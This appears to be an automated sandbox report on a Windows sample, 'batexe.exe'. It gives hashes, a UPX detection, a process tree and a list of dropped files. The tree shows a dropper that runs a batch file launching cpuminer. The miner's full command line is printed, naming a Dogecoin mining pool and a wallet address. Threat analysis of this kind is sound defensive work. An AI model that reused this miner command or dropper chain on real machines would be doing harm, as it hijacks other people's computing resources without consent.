73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
290s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 06:42

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3372	b2e.exe
3796	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3796	cpuminer-sse2.exe
3796	cpuminer-sse2.exe
3796	cpuminer-sse2.exe
3796	cpuminer-sse2.exe
3796	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/424-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 3372	424	batexe.exe	74
PID 424 wrote to memory of 3372	424	batexe.exe	74
PID 424 wrote to memory of 3372	424	batexe.exe	74
PID 3372 wrote to memory of 2244	3372	b2e.exe	75
PID 3372 wrote to memory of 2244	3372	b2e.exe	75
PID 3372 wrote to memory of 2244	3372	b2e.exe	75
PID 2244 wrote to memory of 3796	2244	cmd.exe	78
PID 2244 wrote to memory of 3796	2244	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:424
- C:\Users\Admin\AppData\Local\Temp\B1FA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B1FA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B1FA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B4C9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B1FA.tmp\b2e.exe

Filesize
8.4MB

MD5
ba4fbe613508bfe8ac6238466ba6b2c9

SHA1
877f1b18a118f5d5c6450c721e9843c4ae5fea31

SHA256
f6fdb67a67aafccbeeb8742f0c7e8cf003662871a07d7fd982bdf82a045eba03

SHA512
323bc06a632d2bd64214907360208c903760dd6924821ffc434385d667cd1618dd75343d44335d66cdf9ebd5f115c2350a0b2e01412d35ef5355a66b1b4ec37d

Download Submit
C:\Users\Admin\AppData\Local\Temp\B1FA.tmp\b2e.exe

Filesize
14.4MB

MD5
e76b75650a915f81673e40740f4f7627

SHA1
ae5942541088f5890d2291aee879a6036ec18ceb

SHA256
079ddaab12fedaca776a024eb58bb5f2b9ee4895aeaf0da6f55408910e074ce5

SHA512
2499e01b3c7e59ae06767091167b0f74e366377bf9d11ed758687f9f757e61369ac9319c5c3a9971c1b5601e3b51e3c26a02a394aca06b7d853a832858a65cea

Download Submit
C:\Users\Admin\AppData\Local\Temp\B4C9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
27.2MB

MD5
19fcc327c7f9eaf6a1fae47c9864fda7

SHA1
90a9ca4f4eb5bc76424b6bec0acd3df0a53b8f8c

SHA256
baef1f4cabebdadc52213761b4c8e2bf381976a67bd7c490f952c38f6831b036

SHA512
76d129db3006de88b851100f559fac00796f150fd6290d8f1df9f01df5bc733ebf4f4b087580d3ec81c901002d155e522954a9c1a9919cc9ca87198974a77a3a

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
26.4MB

MD5
012f97602dd07298aea3398a17970460

SHA1
ccdfb441acab20764ebb8f091517b7660dccb535

SHA256
54ee3da12b528ddc58b3c4519e012fc4b2e43260d5beb4ce0b0646a4f5da7949

SHA512
703cd830822a4e022466ae3b4ea43431282e899313ef36ad82d5feafe85ad758edd976300cc875744f0217cc526b381bf17507cf804d4cd8632aeb3f9f729d78

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.6MB

MD5
4d9525b0b3957d6c7c7f7aeb0f26c4e9

SHA1
eeec19434e2ee116778f31abfbc5eb2f2c72ca84

SHA256
79f5849bf4ccd10d509bf18f64f18723da7a2ef3a65a8476c1da2516cafe2871

SHA512
f4d671bafc04258c33c8097da4c4562a8d312691e616adacfb28311e7826bab81711140ae4678d8967e95a033d0d2ff9e358ad2421f45c7be36bfd61c0786354

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/424-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3372-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3372-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3796-43-0x000000005BBB0000-0x000000005BC48000-memory.dmp

Filesize
608KB

Download
memory/3796-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3796-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3796-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3796-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3796-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download